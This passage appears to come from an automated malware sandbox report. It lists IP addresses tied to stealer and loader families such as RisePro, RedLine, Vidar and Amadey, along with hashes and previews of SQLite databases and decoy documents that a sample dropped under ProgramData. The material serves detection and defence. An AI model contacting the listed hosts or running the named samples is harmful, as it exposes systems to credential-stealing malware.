	https://diversityjobs.com/employer/company/1665/Worthington-Industries-Inc	Get hash	malicious	Unknown	Browse	34.66.73.214
	W4tW72sfAD.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	34.117.186.192
	s.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	s.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	s2dwlCsA95.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	Sp#U251c#U0434ti.exe	Get hash	malicious	DanaBot	Browse	34.117.186.192
	Sp#U251c#U0434ti.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Get hash	malicious	Amadey, RedLine, RisePro Stealer	Browse	34.117.186.192
FREE-NET-ASFREEnetEU	s2dwlCsA95.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	SecuriteInfo.com.Win32.Evo-gen.29833.28353.exe	Get hash	malicious	Amadey	Browse	193.233.132.56
	SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Get hash	malicious	Amadey, RedLine, RisePro Stealer	Browse	193.233.132.167
	SecuriteInfo.com.Win64.Evo-gen.32634.31069.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	193.233.132.226
	UeW2b6mU6Z.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	193.233.132.167
	tA6etkt3gb.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	193.233.132.167
	Cheater Pro 1.6.0.msi	Get hash	malicious	Unknown	Browse	185.103.100.31
	Cheat Lab 2.7.2.msi	Get hash	malicious	Unknown	Browse	147.45.67.1
	file.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	dendy.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
DINET-ASRU	Cheat Lab 2.7.2.msi	Get hash	malicious	Unknown	Browse	213.248.43.58
	SecuriteInfo.com.Win64.CrypterX-gen.2144.26023.exe	Get hash	malicious	Glupteba, PureLog Stealer, zgRAT	Browse	85.192.56.26
	SecuriteInfo.com.Trojan.Siggen28.25504.27914.23637.exe	Get hash	malicious	Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	85.192.56.26
	SecuriteInfo.com.Win64.Evo-gen.28136.30716.exe	Get hash	malicious	GCleaner, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	85.192.56.26
	5NlNJIHhTf.exe	Get hash	malicious	Unknown	Browse	85.192.56.26
	8b3ee970a1b172952a665247aa5ff590d12d8f4b33c07.exe	Get hash	malicious	GCleaner, Mars Stealer, Meduza Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	85.192.56.26
	e8iuAWz9pB.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	85.192.56.26
	5zq2Yob8xh.exe	Get hash	malicious	GCleaner, Glupteba, Mars Stealer, Meduza Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	85.192.56.26
	hyWl33Q2OI.elf	Get hash	malicious	Unknown	Browse	85.192.49.120
	21vew6yzwZ.elf	Get hash	malicious	Gafgyt	Browse	217.18.63.132

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Vidar	Browse
	SecuriteInfo.com.Win64.Evo-gen.32634.31069.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	LXoASvZRu1.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	nXXx6yL69w.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	SecuriteInfo.com.Trojan.PWS.RedLineNET.9.27772.28937.exe	Get hash	malicious	Phonk Miner, PureLog Stealer, Vidar	Browse
	Gpeym6icI3.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	dc8laldmc8.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	SecuriteInfo.com.Win64.Evo-gen.32634.31069.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse
	TANQUIVUIA.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Vidar	Browse
	SecuriteInfo.com.Win64.Evo-gen.32634.31069.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	LXoASvZRu1.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	nXXx6yL69w.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	SecuriteInfo.com.Trojan.PWS.RedLineNET.9.27772.28937.exe	Get hash	malicious	Phonk Miner, PureLog Stealer, Vidar	Browse
	Gpeym6icI3.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	dc8laldmc8.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BFBGHDGCFHIDBGDGIIIE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFHIJEBKEBGHIDHJKJEG

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFIIIDAF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BQJUWOYRTO.xlsx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.68639364218091
Encrypted:	false
SSDEEP:	24:P4r5D4QctcBd3LMDzR8JwOlGpXSmDbvy5z5hu/KBdAmHtTQ:P49StmdbMfR8ApSmnvyXhuCBd3ts
MD5:	1D78D2A3ECD9D04123657778C8317C4E
SHA1:	3FAA27B9C738170AEE603EFAE9E455CA459EC1B7
SHA-256:	88D5FF8529480476CA72191A785B1CCDB8A5535594C125AF253823DD2DC0820E
SHA-512:	7EA58B30CB5FDA1C4D71DC65DF64FD9703E81DDCBAD9DA5B405CBBEACB9197A6E8B933C844289D7852801B6A5BC545C4234DD69E85F0AF640F5BC51BE5DDA12E
Malicious:	false
Preview:	BQJUWOYRTOLXZEKCXDLSWRNMFMCSYXRPFWPCFOMLTXRLOYSWDYNKGJBBEKHPTUBSJDZWIUKDQVTQQAEIJPJKOPTWULSKKXLSOLVYRREVXVSZLFQQBXKKCMYLLBRWPJMBHNBFTQUBUPFYXLIARNGQLIDNRZYVXHIWZXDZUYNJJXBTDFJWBKWCQQGPRFDTAZULKSSEFZTUDJOKODZLAIWAICBXNPXUMZFRUVBQDJIENEPBRWTDBODAVKDNOLRNYNBKKQBPGBUTIJCMZXSCKDRZIHJDDUPOXQOJQXAOMBHVIUUZBSRKPYCRBAHBBGKXGMODRWMTAMVEFAPKYMHWCUCKKJSLQYPIMPYZKZKPIXSZAPTLQLZGQHTXZBXONOWDVDWQMPDILYOIVFKXBUSTSFUGKZZBFUUTDDOMVPOINIMBFTSGRRDLSLPUXATPQGHCHIJRAGXNYBQOTZSNMAZCEDHOUMBJWJSCXGDMRQCIYNBQTBGKDTCTKRJCRXWGYTZRFYVOFBTBDYLRCDVRFBCHFMPWSBHHWRRLBRKCLDQRSMCLVZAGFMWLPHYJGALXNLZXJVWWXBFHYIZDZFXDBTHZKRDQBGOXOULNHYYUXXATXCLPLWIUBSSSLNJBTSMXAWVUVUVKDAOHXCIVGHJLVIETMJMFWUZTFVNALCFBKNUVWGXUEPDHVHGOBZRVOPDFCORECRQJIXMUFIACDLBMTHCLLXOISHLMFTEBKUAICYBSNGCASKNQBLIPLSIPNJTWJLGARSXDGLOKVQSUASJSIRFNLKQTPVOVXSGKMXEEUVWMULGSMRQRMICWPXBVELHRSUIIUSGMSRWNPMSLNFKZWDRGGAVGKNPMSZMHRWAKTDXUHZPMIYCRABYQLAAVOSTLMEJGFHJSMBRQBEICTCXKKZHNUWSZMQZHAMPRHAWDVATODUFFRHCHJYGQZNMBWVRFZTJLSUUUMCUEOZEUMCJAOLHOIJTNPLJBASLIHCUCMVTUNIOK

C:\ProgramData\CAKKEGDGCGDAKEBFIJECGHJEGC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGIJECFIECBFIDGDAKFH

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBAEBFII

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECFHIJKJ

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EEGWXUHVUG.docx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690299109915258
Encrypted:	false
SSDEEP:	24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
MD5:	F0D9DE697149ECBC1D88C7EA4841E5BD
SHA1:	06A2A47C12B3554397AA0C8F483411CAB366947D
SHA-256:	5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
SHA-512:	E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
Malicious:	false
Preview:	EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

C:\ProgramData\EEGWXUHVUG.xlsx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690299109915258
Encrypted:	false
SSDEEP:	24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
MD5:	F0D9DE697149ECBC1D88C7EA4841E5BD
SHA1:	06A2A47C12B3554397AA0C8F483411CAB366947D
SHA-256:	5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
SHA-512:	E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
Malicious:	false
Preview:	EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

C:\ProgramData\EHJDGHJDBFIJKECAECAFBAKKEG

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EIVQSAOTAQ.docx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692024230831571
Encrypted:	false
SSDEEP:	24:RXklo22NBtmSOCPX4hQpKZCuvImjwxwo1:v22NBtxOCYQ0EuwmMxz
MD5:	086908C2D2FAA8C9284EAB6D70682A47
SHA1:	1BCA47E5FFEC5FD3CE416A922BC3F905C8FE27C4
SHA-256:	40C76F418FBB2A515AF4DEC81E501CEB725FD4C916D50FCA1A82B9F5ABC1DCCF
SHA-512:	02C48E3CDA1DC748CD3F30B2384D515B50C1DFD63651554AD3D4562B1A47F5446098DCED47A0766D184DDB30B3F158ABEC5877C9CA28AB191CEBB0782C26B230
Malicious:	false
Preview:	EIVQSAOTAQGMTJLIEKHIWADNDLJLEWUUXVGOFMOKPHABQUHVNBFVSKQIGVIHICGEEXRLSTKQNZUKOHPLLTCYQSLQJMPWPWNUJFUONDXMYCCUPDUBYMPUSUKUOWWSWDLZMDWKNMUKNPKBXAJATSGOQUAMHMZDCDDJRHKOUEDMLSCIOXAHAUFDQKBUBESAKMMFMHDLSSVUQLOZXARPGPMGAAKVDEITBYGGXWIGUIJRVXQOBOIOJWPYSPHZBHWQTMDCUFCWBQSAZNRUOPCLATAERLBPATETXMFUGXBEGMNPKKEZVSRLCYPFEPWIAEINAMGSOXLYWMUKYSQACPSUTGHDCTFLXKAMLOCGYHCMAETHVZNZOCWWUHYAPHFILDNLLBMLSLXIMOFGWTDVLWPHHRGGAWSIGNXEJRIBIBLWFBUASCLZPUIVDERXYLWTNLLRLTFZJTTDGFOEYPFXIPHFKEXHOGEHSFYCCCTGNFQFYETBADKAEAOXYXJWDJWNZPEOBJZTKPLJPPMICDOWUIVDKBQQMHETDORVKZPOWTAZRBAQYYQHBNHIWFZXBILGKHZBLSQJJEIYBHUIDAOEXERQEUMMKBWDXSMLJVAZJQPZARLOBNSTUDCVKLCVBPTKTJWSMPMKSFOQPINFTNEGPVSYCWOXABSGFFKRQDFQEIJWDUMZKILALUHYQZGZOLYMKSAOZGUYCKJOJLYINHVKCTZVXLYIYPGOQZQQAGXVWEBSURTQECDRXYKQAJBEKDNSIHNBZCUBIKPKVWLUOFFCIZSKQBAAPGFMBASMUOKLLGWEHHMYDJCOQEKOBYLYWOOZLBASOJJYLIHZKUGUKHZQBIAVUPYHYEWAYGUFNARHCUKTFMLHSFLRVAELAFCQHPEFUSGNONWLLYQVUVSVEKHDRXJHDSSFJATGDRCTMICJWPFPKKLXECKUXREXEAQNPOBPRKFYRWIWXEWLAPUSHGKXWYYIJNUMGQHBJPMOYZIXPGOJLOQG

C:\ProgramData\FBKJKEHIJECGCBFIJEGIDBGIEC

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCAAAAFB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIJDGIJJKEGIEBGCGDHCFIDAAE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
